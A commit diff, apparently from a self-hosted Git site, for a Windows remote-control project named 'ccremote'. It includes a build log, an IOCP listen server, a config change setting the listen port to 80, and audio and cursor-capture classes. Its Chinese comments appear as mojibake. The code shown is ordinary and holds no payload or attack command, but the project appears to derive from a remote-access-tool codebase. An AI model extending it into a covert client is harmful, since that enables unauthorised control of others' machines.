g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码
|
||||
All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
|
@@ -120,12 +120,17 @@ CIOCPServer::~CIOCPServer()
|
||||
// N T ALMOND 06042001 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//lang2.1_5 <EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
//<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
|
||||
{
|
||||
m_pNotifyProc = pNotifyProc;
|
||||
m_pFrame = pFrame;
|
||||
m_nMaxConnections = nMaxConnections;
|
||||
|
||||
/*
|
||||
AF_INET:InternetЭ<74><D0AD><EFBFBD>汾4<E6B1BE><34>IPv4<76><34><EFBFBD><EFBFBD>ַ<EFBFBD>塣
|
||||
SOCK_STREAM:һ<><D2BB><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
|
||||
//<2F><>ʼ<EFBFBD><CABC> <20><EFBFBD><D7BD><EFBFBD>
|
||||
@@ -148,6 +153,7 @@ bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMa
|
||||
// The listener is ONLY interested in FD_ACCEPT
|
||||
// That is when a client connects to or IP/Port
|
||||
// Request async notification
|
||||
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>FD_XXX<58><58><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nRet = WSAEventSelect(m_socListen,
|
||||
m_hEvent,
|
||||
FD_ACCEPT);
|
||||
@@ -230,7 +236,6 @@ bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMa
|
||||
// N T ALMOND 06042001 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//lang2.1_6
|
||||
unsigned CIOCPServer::ListenThreadProc(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
{
|
||||
CIOCPServer* pThis = reinterpret_cast<CIOCPServer*>(lParam);
|
||||
@@ -303,8 +308,6 @@ unsigned CIOCPServer::ListenThreadProc(LPVOID lParam) //
|
||||
// N T ALMOND 06042001 1.0 Origin
|
||||
// Ulf Hedlund 09072001 Changes for OVERLAPPEDPLUS
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//lang2.1_7
|
||||
void CIOCPServer::OnAccept()
|
||||
{
|
||||
|
||||
@@ -339,6 +342,7 @@ void CIOCPServer::OnAccept()
|
||||
}
|
||||
|
||||
// Create the Client context to be associted with the completion port
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF><EFBFBD><EFBFBD>ӿͻ<D3BF><CDBB>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ClientContext* pContext = AllocateContext();
|
||||
// AllocateContext fail
|
||||
if (pContext == NULL)
|
||||
@@ -396,7 +400,7 @@ void CIOCPServer::OnAccept()
|
||||
NULL
|
||||
);
|
||||
|
||||
CLock cs(m_cs, "OnAccept" );
|
||||
CLock cs(m_cs, "OnAccept" );//<2F><><EFBFBD>̻߳<DFB3><CCBB>ⰴ˳<E2B0B4><CBB3><EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Hold a reference to the context
|
||||
m_listContexts.AddTail(pContext);
|
||||
|
||||
@@ -417,7 +421,7 @@ void CIOCPServer::OnAccept()
|
||||
return;
|
||||
}
|
||||
|
||||
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>鿴Initialize <EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD>
|
||||
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><EFBFBD>Initialize <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD>
|
||||
|
||||
// Post to WSARecv Next
|
||||
PostRecv(pContext);
|
||||
|
@@ -52,6 +52,7 @@ public:
|
||||
|
||||
void Lock()
|
||||
{
|
||||
//<2F><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>̰߳<DFB3>˳<EFBFBD><CBB3><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>
|
||||
TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc);
|
||||
EnterCriticalSection(m_pcs);
|
||||
}
|
||||
@@ -136,7 +137,7 @@ public:
|
||||
CIOCPServer();
|
||||
virtual ~CIOCPServer();
|
||||
|
||||
NOTIFYPROC m_pNotifyProc;
|
||||
NOTIFYPROC m_pNotifyProc; //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD>룬<EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD>ǵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ǵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
CMainFrame* m_pFrame;
|
||||
|
||||
bool Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort);
|
||||
@@ -170,7 +171,7 @@ protected:
|
||||
|
||||
bool m_bInit;
|
||||
bool m_bDisconnectAll;
|
||||
BYTE m_bPacketFlag[5];
|
||||
BYTE m_bPacketFlag[5]; //<2F><><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD>
|
||||
void CloseCompletionPort();
|
||||
void OnAccept();
|
||||
bool InitializeIOCP(void);
|
||||
|
Binary file not shown.
@@ -1,3 +1,3 @@
|
||||
[Settings]
|
||||
ListenPort=2001
|
||||
MaxConnection=9999
|
||||
ListenPort=80
|
||||
MaxConnection=100
|
||||
|
Binary file not shown.
Binary file not shown.
@@ -5,7 +5,7 @@ echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
|
||||
echo ----------------------------------------------------
|
||||
pause
|
||||
|
||||
del /F /Q /S *.aps *.idb *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.dll *.exp
|
||||
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.dll *.exp
|
||||
|
||||
|
||||
pause
|
||||
|
@@ -1,7 +1,7 @@
|
||||
// Audio.cpp: implementation of the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\CcMainDll\CcMainDll\pch.h"
|
||||
#include "Audio.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -143,8 +143,8 @@ bool CAudio::InitializeWaveOut()
|
||||
|
||||
if (!waveOutGetNumDevs())
|
||||
return false;
|
||||
|
||||
for (int i = 0; i < 2; i++)
|
||||
int i = 0;
|
||||
for (i = 0; i < 2; i++)
|
||||
memset(m_lpOutAudioData[i], 0, m_nBufferLength);
|
||||
|
||||
MMRESULT mmResult;
|
||||
|
@@ -60,9 +60,9 @@ public:
|
||||
ci.cbSize = sizeof(CURSORINFO);
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return -1;
|
||||
int i = 0;
|
||||
|
||||
|
||||
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
|
||||
for (i = 0; i < MAX_CURSOR_TYPE; i++)
|
||||
{
|
||||
if (ci.hCursor == m_CursorHandleArray[i])
|
||||
break;
|
||||
|
Reference in New Issue
Block a user